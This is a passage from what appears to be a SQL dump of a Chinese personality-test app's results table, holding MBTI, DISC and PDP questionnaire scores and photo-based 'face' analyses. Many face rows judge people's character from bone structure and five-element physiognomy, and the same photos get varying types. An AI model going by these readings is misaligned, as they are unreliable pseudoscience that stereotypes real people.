\"竞选者\"}, \"overview\": \"天真好奇、亲和力强,富有想象与玩心,善于营造轻松愉悦氛围,适合充满互动与创意的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆滑饱满,骨感不显偏向柔和之象,气质以亲和、包容与弹性适应为主。\", \"faceAnalysis\": \"圆润脸型与大而明亮的眼睛,透露单纯、好奇与强烈亲近欲,表情专注而无戒心。\", \"personalitySummary\": \"性格活泼外向,情绪表达自然直接,重视陪伴与互动;好奇心强,乐于尝试新事物;在人际中以温柔可亲与玩闹氛围影响他人。\"}', NULL, NULL, 0, 0, 0, NULL, 1772077612, 1772077612, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (6, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内韧、好奇心强,情绪明亮,亲和力高,适合创意与互动并重的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰盈,线条圆滑,属水土偏旺之象,抗压以柔性缓冲为主,稳定中带弹性。\", \"faceAnalysis\": \"大眼圆润有光、五官饱满偏圆,整体给人单纯友好、信任度高且富有童心的气质。\", \"personalitySummary\": \"性格温暖外向,富想象力与同理心,乐于探索新事物与结交伙伴,重视情感连接与轻松氛围。\"}', NULL, NULL, 0, 0, 0, NULL, 1772085904, 1772085904, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (7, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表温柔亲和,内在好奇活泼,情感细腻,善于带动氛围和照顾周围情绪,适合创意与人际相关领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰润偏水土形,线条圆滑少棱角,稳重中带灵动,抗压方式以柔性缓冲与情绪调节见长。\", \"faceAnalysis\": \"面部圆润饱满、五官柔和,眼睛圆大有神,整体给人亲切无攻击感,情绪外显、乐观开朗。\", \"personalitySummary\": \"性格温暖黏人、好奇心强,重视陪伴与互动,安全感来自稳定关系;做事随性但富创意,人际友善,擅长用温柔方式影响他人。\"}', NULL, NULL, 1, 0, 0, NULL, 1772086859, 1772086859, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (8, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向亲和、感受敏锐,情绪明亮,喜欢互动与陪伴,适合在轻松环境中发挥创造与感染力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨感不强而以圆润为主,属水土柔和之象,重在包容与稳定,偏向守成与享受当下。\", \"faceAnalysis\": \"圆润饱满、五官柔和,眼大有神而无压迫感,整体给人亲近、安全与温柔信赖之感。\", \"personalitySummary\": \"性格温柔黏人,重感情、爱互动,乐于取悦他人,安全感需求高,依恋稳定的人与环境。\"}', NULL, 22, 1, 1, 1, 1772097475, 1772088690, 1772097481, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (9, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向活泼,情绪单纯明亮,亲和力强,适合高互动与创造性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸圆润、骨感不显,肉多掩骨,属柔和亲和型结构,抗压方式偏情绪缓冲与环境适配。\", \"faceAnalysis\": \"大眼圆瞳、短鼻小口与饱满脸型,整体给人单纯、信赖、亲近与好奇的感觉。\", \"personalitySummary\": \"性格单纯乐观,强烈好奇心与玩心并存,重视当下体验与互动回应,人际表现亲切黏人,容易成为团队的气氛担当与情绪疗愈者。\"}', NULL, 24, 1, 1, 1, 1772098134, 1772088972, 1772098138, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (10, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻又具创造力,适合在自由氛围中发挥想象与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸线条柔和偏圆,骨感不突显,属水木相融合,重情重趣,适合以灵活适配和创意表达见长。\", \"faceAnalysis\": \"圆润面部与大眼透露童真与包容,表情专注却无攻击性,整体给人亲近、安全与信赖感。\", \"personalitySummary\": \"性格温柔友好,想象力丰富,乐于互动与陪伴,遇事以情感与直觉回应,重视氛围与关系和谐。\"}', NULL, 21, 1, 1, 1, 1772097190, 1772089010, 1772097195, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (11, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向温暖、好奇心强,富有想象力与亲和力,擅长在轻松氛围中激发他人潜能。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体轮廓饱满柔和,骨肉丰厚偏水木形,相对少锐角,主感受力强、适应快、压力承载偏弹性。\", \"faceAnalysis\": \"圆润脸型与大眼晶亮,神情专注又天真,透露强烈好奇心与亲近感,人际开放友善。\", \"personalitySummary\": \"性格灵动活泼,情绪表达自然,乐于探索新事物并与他人分享,重视氛围与情感联结,组织性略逊但创意与感染力突出。\"}', NULL, 20, 1, 1, 1, 1772096995, 1772094812, 1772096998, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (12, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻,富有创意与亲和力,适合在人际与创意场景中发光。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸轮廓圆滑偏水形,骨肉丰润,抗压以柔克刚,适应环境与情境能力突出。\", \"faceAnalysis\": \"五官圆润饱满、眼大有神,整体给人亲切软萌之感,情绪表达自然真诚,亲和力极高。\", \"personalitySummary\": \"性格温柔热情,喜欢探索新鲜事物,善于用真诚和幽默拉近距离;做事随性但富有想象力,适合自由度高且能与人互动的环境。\"}', NULL, 19, 1, 1, 1, 1772096444, 1772095236, 1772096493, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (13, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且内驱明确,思维细腻,有规划意识与长远眼光,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨感清晰偏纤细,属木水结合之形,相对理性敏感,决断偏谨慎,重思考与稳妥推进。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注内敛,鼻梁秀直,嘴形柔和克制,下颌略尖显感性与理想色彩。\", \"personalitySummary\": \"性格内敛安静,情绪稳定度尚佳,做事讲逻辑与秩序,偏完美主义与自我要求高,重个人空间与精神追求。\"}', NULL, 23, 1, 1, 1, 1772097793, 1772097765, 1772097797, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (14, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:29:32.351Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:29:32.351Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 10, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098172, 1772098172, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (15, 1, 'mbti', '{\"scores\": {\"E\": 0, \"F\": 8, \"I\": 9, \"J\": 0, \"N\": 7, \"P\": 6, \"S\": 0, \"T\": 0}, \"answers\": [], \"mbtiType\": \"INFP\", \"timestamp\": \"2026-02-26T09:30:17.331Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:17.331Z\", \"description\": {\"name\": \"调停者\", \"type\": \"INFP\", \"careers\": [\"作家\", \"心理咨询\", \"社工\"], \"category\": \"理想主义者\", \"strengths\": [\"创造力\", \"同理心\", \"真诚\"], \"weaknesses\": [\"过于理想化\", \"情绪化\"], \"description\": \"理想主义、忠诚的调解者\"}, \"testDuration\": 8, \"dimensionScores\": {\"EI\": {\"E\": 0, \"I\": 9, \"dominant\": \"I\", \"percentage\": 100}, \"JP\": {\"J\": 0, \"P\": 6, \"dominant\": \"P\", \"percentage\": 100}, \"SN\": {\"N\": 7, \"S\": 0, \"dominant\": \"N\", \"percentage\": 100}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098217, 1772098217, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (16, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:30:35.053Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:35.053Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 9, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098235, 1772098235, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (17, 1, 'mbti', '{\"scores\": {\"E\": 4, \"F\": 4, \"I\": 5, \"J\": 3, \"N\": 3, \"P\": 4, \"S\": 3, \"T\": 4}, \"answers\": [], \"mbtiType\": \"ISTP\", \"timestamp\": \"2026-02-26T09:31:36.648Z\", \"confidence\": 53, \"completedAt\": \"2026-02-26T09:31:36.648Z\", \"description\": {\"name\": \"鉴赏家\", \"type\": \"ISTP\", \"careers\": [\"工程师\", \"技术员\", \"飞行员\"], \"category\": \"探险家\", \"strengths\": [\"适应力强\", \"动手能力\", \"冷静\"], \"weaknesses\": [\"可能冷漠\", \"不善表达\"], \"description\": \"灵活、务实的问题解决者\"}, \"testDuration\": 51, \"dimensionScores\": {\"EI\": {\"E\": 4, \"I\": 5, \"dominant\": \"I\", \"percentage\": 56}, \"JP\": {\"J\": 3, \"P\": 4, \"dominant\": \"P\", \"percentage\": 57}, \"SN\": {\"N\": 3, \"S\": 3, \"dominant\": \"S\", \"percentage\": 50}, \"TF\": {\"F\": 4, \"T\": 4, \"dominant\": \"T\", \"percentage\": 50}}}', NULL, 26, 1, 1, 1, 1772157110, 1772098296, 1772157115, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (18, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T01:34:12.437Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 18, \"secondaryType\": \"Peacock\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156052, 1772156052, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (19, 1, 'pdp', '{\"scores\": {\"Owl\": 6, \"Koala\": 9, \"Tiger\": 2, \"Peacock\": 3, \"Chameleon\": 0}, \"answers\": {\"1\": \"Koala\", \"2\": \"Koala\", \"3\": \"Koala\", \"4\": \"Koala\", \"5\": \"Koala\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Owl\", \"9\": \"Tiger\", \"10\": \"Owl\", \"11\": \"Tiger\", \"12\": \"Owl\", \"13\": \"Koala\", \"14\": \"Koala\", \"15\": \"Koala\", \"16\": \"Owl\", \"17\": \"Owl\", \"18\": \"Peacock\", \"19\": \"Koala\", \"20\": \"Owl\"}, \"completedAt\": \"2026-02-27T01:35:10.123Z\", \"description\": {\"type\": \"考拉型\", \"color\": \"#10B981\", \"emoji\": \"🐨\", \"title\": \"支持者\", \"careers\": [\"人力资源\", \"客户服务\", \"教师\"], \"teamRole\": \"适合担任协调者和支持者角色\", \"strengths\": [\"可靠稳定\", \"团队协作\", \"善解人意\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"Owl\": 30, \"Koala\": 45, \"Tiger\": 10, \"Peacock\": 15, \"Chameleon\": 0}, \"dominantType\": \"Koala\", \"testDuration\": 40, \"secondaryType\": \"Owl\"}', NULL, 28, 1, 1, 1, 1772157446, 1772156110, 1772157451, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (20, 1, 'disc', '{\"scores\": {\"C\": 3, \"D\": 4, \"I\": 7, \"S\": 6}, \"answers\": {\"1\": \"D\", \"2\": \"I\", \"3\": \"S\", \"4\": \"C\", \"5\": \"S\", \"6\": \"I\", \"7\": \"D\", \"8\": \"I\", \"9\": \"S\", \"10\": \"C\", \"11\": \"S\", \"12\": \"I\", \"13\": \"D\", \"14\": \"I\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-02-27T01:35:45.290Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 15, \"D\": 20, \"I\": 35, \"S\": 30}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"S\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156145, 1772156145, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (21, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T01:36:09.553Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 18, \"secondaryType\": \"I\"}', NULL, 29, 1, 1, 1, 1772157482, 1772156169, 1772157485, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (22, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,重视内在原则与长期规划,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不夸张,颧骨不凸显权势而重内敛思谋,更擅长谋划与支持而非强势掌控。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人理性细腻、安静克制之感。\", \"personalitySummary\": \"内向安静,思维细致,有同理心与理想主义倾向,做事谨慎有计划,重视个人空间与稳定节奏。\"}', NULL, NULL, 1, 0, 1, NULL, 1772160911, 1772160911, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (23, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维细腻,重视独立空间与深度思考,适合研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,五官布局均衡偏上停用力,思考与学习能力突出,行动节奏温和但韧性佳,适合持久深耕型发展。\", \"faceAnalysis\": \"额头偏高饱满,眼神内敛专注,鼻梁清秀,嘴形含蓄,下颌略尖,整体给人理性安静、思虑周全之感。\", \"personalitySummary\": \"逻辑导向,善于抽象分析与问题拆解;情绪表达克制,有边界感;做事追求准确与效率,习惯独立完成任务,对熟悉圈层较为温和体贴。\"}', NULL, NULL, 1, 0, 1, NULL, 1772161323, 1772161323, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (24, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重视内心秩序与长期目标,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉适中,线条清长不突兀,决断多经思量后出手,抗压方式以内敛稳守为主。\", \"faceAnalysis\": \"额头顺畅、眼神内敛专注,鼻梁清秀、嘴形柔和含蓄,整体显理性克制、重思考少外露情绪。\", \"personalitySummary\": \"内向理性,洞察力强,做事有条理与原则,言语温和但边界清晰,更重质量与深度而非表面热闹。\"}', NULL, NULL, 1, 0, 1, NULL, 1772164524, 1772164524, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (25, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维敏捷,内向专注,有独立判断与持续深耕能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰偏纤细,属木水形相,骨重肉薄,思维敏锐但行事低调,以理性分析和持续钻研见长。\", \"faceAnalysis\": \"额头平顺偏高,眼神安静克制,鼻梁清秀,嘴形含蓄,下巴略尖,整体气质理性而内敛。\", \"personalitySummary\": \"性格安静理智,重视逻辑与独立空间,表达温和不失原则,适合从事需要专注思考与专业深度的工作。\"}', NULL, 35, 1, 1, 1, 1772172909, 1772164861, 1772172912, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (26, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-27T04:01:37.973Z\", \"confidence\": 100, \"completedAt\": \"2026-02-27T04:01:37.973Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 22, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, 34, 1, 1, 1, 1772172885, 1772164898, 1772172888, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (27, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-02-27T04:02:37.556Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 17, \"secondaryType\": \"Tiger\"}', NULL, 33, 1, 1, 1, 1772172854, 1772164957, 1772172860, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (28, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 1, \"S\": 19}, \"answers\": {\"1\": \"I\", \"2\": \"S\", \"3\": \"S\", \"4\": \"S\", \"5\": \"S\", \"6\": \"S\", \"7\": \"S\", \"8\": \"S\", \"9\": \"S\", \"10\": \"S\", \"11\": \"S\", \"12\": \"S\", \"13\": \"S\", \"14\": \"S\", \"15\": \"S\", \"16\": \"S\", \"17\": \"S\", \"18\": \"S\", \"19\": \"S\", \"20\": \"S\"}, \"completedAt\": \"2026-02-27T04:03:07.050Z\", \"description\": {\"type\": \"S型\", \"color\": \"#10B981\", \"title\": 